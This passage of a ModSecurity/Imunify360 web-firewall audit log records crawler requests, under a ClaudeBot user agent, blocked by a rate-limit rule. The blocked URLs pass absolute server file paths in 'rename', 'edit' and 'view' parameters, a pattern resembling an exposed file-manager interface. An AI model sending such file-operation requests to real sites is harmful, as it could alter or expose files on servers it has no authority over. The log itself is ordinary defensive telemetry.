SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":2746,"p3":0,"p4":0,"p5":481,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.347847 +0100","transaction_id":"abPhHFH1YMuwIMtyvU1e0wAAAcw","remote_address":"216.73.216.152","remote_port":44586,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Finline-edit-post.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4a4b5038d08e2495b0a0687f9937e666","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15173999"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4a4b5038d08e2495b0a0687f9937e666","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/inline-edit-post.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":184,"p2":2424,"p3":0,"p4":0,"p5":514,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.439356 +0100","transaction_id":"abPhHFH1YMuwIMtyvU1e1AAAAcg","remote_address":"216.73.216.152","remote_port":39810,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fpostbox.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6c120da56f5fdc91661d77bfda6c0902","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15174002"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6c120da56f5fdc91661d77bfda6c0902","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/postbox.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":203,"p2":1749,"p3":0,"p4":0,"p5":297,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.620806 +0100","transaction_id":"abPhHFH1YMuwIMtyvU1e1QAAAcg","remote_address":"216.73.216.152","remote_port":39810,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fcustomize-nav-menus.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b6585038e7a3b39ef1723437dc7a53f2","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15174005"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b6585038e7a3b39ef1723437dc7a53f2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/customize-nav-menus.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1700,"p3":0,"p4":0,"p5":339,"sr":95,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.751543 +0100","transaction_id":"abPhHFQCd8W53Be-qe99uAAAAgw","remote_address":"216.73.216.152","remote_port":37208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Frevisions.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f95784639abda9e066bc8558f640ea46","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15174008"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f95784639abda9e066bc8558f640ea46","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/revisions.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":2488,"p3":0,"p4":0,"p5":521,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:12.808266 +0100","transaction_id":"abPhHFH1YMuwIMtyvU1e1gAAAco","remote_address":"216.73.216.152","remote_port":55172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fcustom-background.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7af0cba690bc51b856987afc5d806dc5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11014978"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7af0cba690bc51b856987afc5d806dc5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/custom-background.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":180,"p2":1678,"p3":0,"p4":0,"p5":351,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:15.092437 +0100","transaction_id":"abPhH_a6lumP0T36rfGIXQAAAFA","remote_address":"216.73.216.152","remote_port":44486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Flogo2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"68e46280a8352c50f4cc44b29865a80a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8425094"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"68e46280a8352c50f4cc44b29865a80a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/logo2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":637,"p2":2603,"p3":0,"p4":0,"p5":438,"sr":239,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:15.371597 +0100","transaction_id":"abPhH1H1YMuwIMtyvU1e4QAAAcs","remote_address":"216.73.216.152","remote_port":37250,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Ficone.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4f49bda173aae6456a53934a7f807498","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11441130"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4f49bda173aae6456a53934a7f807498","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/icone.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":267,"p2":2522,"p3":0,"p4":0,"p5":423,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:15.734510 +0100","transaction_id":"abPhH1H1YMuwIMtyvU1e5QAAAcs","remote_address":"216.73.216.152","remote_port":37250,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fpl1.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"04862bfbc0499df317112a2a841b8318","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096652"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"04862bfbc0499df317112a2a841b8318","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/pl1.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":189,"p2":1723,"p3":0,"p4":0,"p5":341,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:15.939332 +0100","transaction_id":"abPhHzPdmgxGrrIlyaInkgAAAIE","remote_address":"216.73.216.152","remote_port":37256,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2Fplantation-cacao.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1715405550088602961a9319cecccf19","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10095761"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1715405550088602961a9319cecccf19","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/template_Agrotek_jmk/source/plantation-cacao.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":281,"p2":2580,"p3":0,"p4":0,"p5":428,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:15.984952 +0100","transaction_id":"abPhHzPdmgxGrrIlyaInkwAAAIE","remote_address":"216.73.216.152","remote_port":37256,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Flogo.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3a41077d8c0ce9cf218485d6c3165db3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11014997"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3a41077d8c0ce9cf218485d6c3165db3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/logo.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":300,"p2":2459,"p3":0,"p4":0,"p5":469,"sr":133,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.022145 +0100","transaction_id":"abPhIDPdmgxGrrIlyaInlAAAAIE","remote_address":"216.73.216.152","remote_port":37256,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2FmariageAAA.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"83cc1ec5d002b5eae62a019875ca31d6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10095764"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"83cc1ec5d002b5eae62a019875ca31d6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/fichiers/mariageAAA.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":271,"p2":2463,"p3":0,"p4":0,"p5":421,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.046773 +0100","transaction_id":"abPhIDPdmgxGrrIlyaInlQAAAIE","remote_address":"216.73.216.152","remote_port":37256,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2Ffa9904f4821403c25e3aae9a019e670a-1435003328.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b942fe9d6194db778d091fa66230c938","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11015000"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b942fe9d6194db778d091fa66230c938","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/template_Agrotek_jmk/source/fa9904f4821403c25e3aae9a019e670a-1435003328.jpg& P: F:||RSV:7.71||T:APACHE||\"] 